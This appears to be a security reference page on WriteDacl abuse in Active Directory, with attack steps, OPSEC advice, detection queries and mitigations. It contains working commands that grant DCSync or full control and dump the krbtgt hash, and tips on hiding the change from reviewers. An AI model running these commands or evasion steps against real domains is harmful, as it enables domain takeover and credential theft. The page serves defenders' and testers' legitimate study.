How it works
Every Active Directory object has a discretionary access control list (DACL) in its security descriptor. The DACL is itself protected by an access right: WRITE_DAC, shown as WriteDacl in most tools, with the mask 0x40000. A principal that holds it may replace the object's DACL.
WriteDacl grants no access to the object's data. Its holder cannot reset the password, read a protected attribute or change membership. But the holder can add an access control entry (ACE) that allows exactly those things, to any principal, and then use the new right. In practice WriteDacl equals full control with one extra step.
A principal gets WriteDacl in four ways:
- An explicit ACE that grants it, alone or as part of a broader mask.
GenericAllcontains it. - Ownership. The owner of an object holds
READ_CONTROLandWRITE_DACimplicitly, without any ACE. See WriteOwner and owner abuse. - An inheritable ACE on a parent OU or container.
- Membership in a group that has it. The best known case is the Exchange Windows Permissions group, which older Exchange installations gave
WriteDaclon the domain object. See Exchange Windows Permissions abuse.
The targets that matter most:
| Target | What the attacker grants | Result |
|---|---|---|
| Domain object | The two replication extended rights | DCSync: every password hash in the domain |
| AdminSDHolder | Full control for a controlled account | The ACE is copied to every protected account and group. See AdminSDHolder backdoor |
| Privileged group | Write access to member |
Membership of the group |
| User | Full control or the password reset right | Account takeover |
| Computer | Full control | Delegation abuse and control of the host |
| OU | An inheritable full control ACE | Control of the objects below that accept inheritance |
| GPO | Full control | Policy that runs on every computer or user in scope |
The write is an ordinary LDAP modification of the nTSecurityDescriptor attribute. A deny ACE or a protected DACL on a child object can limit what an inherited WriteDacl reaches, so the ACE on a parent is not proof of effective access to every child.
Prerequisites
- Control of a principal with
WriteDaclon the target, through an explicit ACE, a group, inheritance or ownership. - LDAP access to a domain controller.
- For the follow-on step, whatever the newly granted right needs: network access to a domain controller's RPC endpoints for DCSync, Kerberos for ticket attacks.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find the right
BloodHound reports it as the WriteDacl edge. To read one object directly:
dacledit.py -action read -target-dn 'DC=corp,DC=example,DC=com' -principal alice \
'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10
# PowerView: who holds WriteDacl on the domain object
Get-DomainObjectAcl -Identity 'DC=corp,DC=example,DC=com' -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'WriteDacl|GenericAll' } |
Select-Object SecurityIdentifier, ActiveDirectoryRights, IsInherited
2. Domain object: grant replication rights and DCSync
PowerView writes both replication ACEs with one switch:
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=example,DC=com' `
-PrincipalIdentity alice -Rights DCSync -Verbose
Impacket does the same from Linux:
dacledit.py -action write -rights DCSync -principal alice \
-target-dn 'DC=corp,DC=example,DC=com' \
'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10
-rights DCSync adds DS-Replication-Get-Changes and DS-Replication-Get-Changes-All as object-specific control access ACEs. The account can then replicate secrets:
secretsdump.py -just-dc-user krbtgt 'corp.example.com/alice:Passw0rd!@DC01.corp.example.com'
3. Any other object: grant full control
Add-DomainObjectAcl -TargetIdentity 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' `
-PrincipalIdentity alice -Rights All -Verbose
dacledit.py -action write -rights FullControl -principal alice \
-target-dn 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' \
'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10
bloodyAD has a short form for the same grant:
bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
add genericAll 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' alice
Without any offensive tool, ADSI adds one ACE to the existing descriptor in place:
$obj = [ADSI]'LDAP://CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com'
$sid = (New-Object System.Security.Principal.NTAccount('CORP','alice')).Translate(
[System.Security.Principal.SecurityIdentifier])
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow)
$obj.psbase.ObjectSecurity.AddAccessRule($ace)
$obj.psbase.CommitChanges()
With full control in place, continue as on the GenericAll abuse page: add a member, reset a password, add a key credential.
4. Grant only what is needed
A full control ACE stands out in a review. dacledit.py can write a narrow right instead: its built-in ResetPassword and WriteMembers rights, or a custom mask.
# Only the right to change group membership
dacledit.py -action write -rights WriteMembers -principal alice \
-target-dn 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' \
'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10
# WriteDacl itself, for a second principal
dacledit.py -action write -rights Custom -mask 0x40000 -principal svc-sql \
-target-dn 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' \
'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10
On an OU, -inheritance sets the container and object inherit flags so the ACE flows to the objects below. Objects with a protected DACL do not receive it.
5. Remove the ACE
dacledit.py saves the previous DACL to a .bak file on every write. To remove the entry that was added, use the same rights with the remove action:
dacledit.py -action remove -rights FullControl -principal alice \
-target-dn 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' \
'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10
Impact
WriteDacl on a Tier 0 object is control of the domain. On the domain object it leads directly to DCSync and from there to the krbtgt key and forged tickets. On AdminSDHolder it produces a backdoor that the directory itself re-applies to every protected account.
On lower-tier objects it is a reliable privilege escalation step, and it is a strong persistence mechanism everywhere. An attacker can grant a second, unremarkable account rights on the object and remove their own entry. Nothing in the directory then links the remaining ACE to the original compromise, and it survives password resets of every account involved.
OPSEC and artifacts
- Narrow ACEs over full control. A single extended right or a write on one attribute is harder to spot in a permissions review than
GenericAll. Whatever its shape, the change rewritesnTSecurityDescriptor, and event 5136 records it on objects that have a SACL for the write, with the full new descriptor in SDDL form. - Adding and removing quickly. Granting DCSync, replicating one account and removing the ACE leaves the DACL as it was. The descriptor is a single-valued attribute, so each change writes a "value deleted" and a "value added" 5136 record, linked by the same correlation id, and the replication itself is recorded separately in event 4662 with the replication GUIDs.
- A second principal. Granting the right to another controlled account hides the original actor from a review of the final DACL. The 5136 subject is still the account that made the change.
- In-place edits. Adding one ACE through ADSI or
dacledit.pykeeps the rest of the descriptor intact. Tools that rewrite the whole descriptor can change ACE order, which shows up in a baseline diff. - Access check events. With Directory Service Access auditing and a SACL, event 4662 records the access with mask
0x40000. It shows that the access was allowed, not that the write completed. - Files.
dacledit.pyleaves a.bakfile with the previous DACL on the operator's host.
Detection
Descriptor changes on Tier 0 objects. A write to nTSecurityDescriptor on the domain object, AdminSDHolder, a privileged group, a domain controller or krbtgt, by an actor that does not normally manage permissions. The DACL modification rules cover the domain object and Tier 0 objects, and the AdminSDHolder modification rules cover the template.
New replication rights. A descriptor on the domain object that now names a principal other than domain controllers and approved sync accounts next to the replication GUIDs 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2, followed by replication requests from a host that is not a domain controller. See the DCSync rules.
Baseline comparison. Events only show changes made while auditing was in place. A periodic export of owners and DACLs for Tier 0 objects, compared with the last approved state, finds entries added earlier.
// Permission changes on the domain object, with the new descriptor
SecurityEvent
| where EventID == 5136
| extend Attribute = extract(@'<Data Name="AttributeLDAPDisplayName">([^<]+)', 1, EventData),
ObjectClass = extract(@'<Data Name="ObjectClass">([^<]+)', 1, EventData),
ObjectDN = extract(@'<Data Name="ObjectDN">([^<]+)', 1, EventData),
Operation = extract(@'<Data Name="OperationType">([^<]+)', 1, EventData),
Sddl = extract(@'<Data Name="AttributeValue">([^<]+)', 1, EventData)
| where Attribute =~ "nTSecurityDescriptor" and ObjectClass =~ "domainDNS"
| extend GrantsReplication = Sddl has "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
| project TimeGenerated, Computer, SubjectUserName, ObjectDN, Operation, GrantsReplication, Sddl
| order by TimeGenerated desc
Descriptor writes are common. SDProp, provisioning systems, Exchange and AD CS all rewrite DACLs, so alert on the object and the actor, not on the event id. The descriptor value can be long and some collectors truncate it; keep the baseline export as the reference.
Mitigation
- Treat WriteDacl as a Tier 0 right. On Tier 0 objects only Tier 0 administrators should hold it. Do not delegate it to helpdesk, application or automation accounts.
- Review the domain object. List every principal with
WriteDacl,GenericAll, ownership or replication rights on the domain object and remove those that are not domain controllers or approved directory sync accounts. The Active Directory hardening guide covers the review of Tier 0 permissions. - Review Exchange groups. Check whether Exchange Windows Permissions or another application group still holds
WriteDaclon the domain object, and who can become a member of it. The Exchange Windows Permissions page covers the fix. - Check OUs for inheritable ACEs that grant permission changes to objects below, and keep privileged objects out of delegated OUs.
- Baseline owners and DACLs of Tier 0 objects and compare them on a schedule. Path analysis shows which non-administrative accounts reach these rights through groups; see the attack path analysis walkthrough.
- Audit descriptor changes. Enable Directory Service Changes and add a SACL for "modify permissions" on Tier 0 objects, as in the audit policy guide.
- When responding, enumerate every object where a suspect SID is trustee or owner, across the whole domain. If replication rights were granted and used, treat every credential in the domain as exposed and reset krbtgt twice.
Detection rules for this attack
Log events to collect
FAQ
What is WriteDACL in Active Directory?
WriteDACL is the right to modify an object's discretionary access control list, the list that decides who can do what to the object. It gives no direct access to the object's data, but its holder can add an entry that grants themselves, or anyone else, any other right. For that reason it is equivalent to full control.
Why is WriteDACL on the domain object so dangerous?
The replication rights that DCSync uses are granted on the domain object. A principal with WriteDACL there can give any account DS-Replication-Get-Changes and DS-Replication-Get-Changes-All and then request the password hashes of every account in the domain, including krbtgt, from a domain controller.
How do you detect WriteDACL abuse?
Watch event 5136 on domain controllers for writes to the nTSecurityDescriptor attribute of Tier 0 objects: the domain object, AdminSDHolder, privileged groups and domain controllers. The event needs Directory Service Changes auditing and a SACL on the object. Compare the new descriptor with a stored baseline to see which entry was added.
Does removing the attacker's WriteDACL entry end the access?
Not by itself. While the attacker held WriteDACL they could grant rights to other accounts and then remove their own entry. Responders have to search the whole domain for entries that name any account the attacker controlled, and compare the affected objects with a known good baseline.
References
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.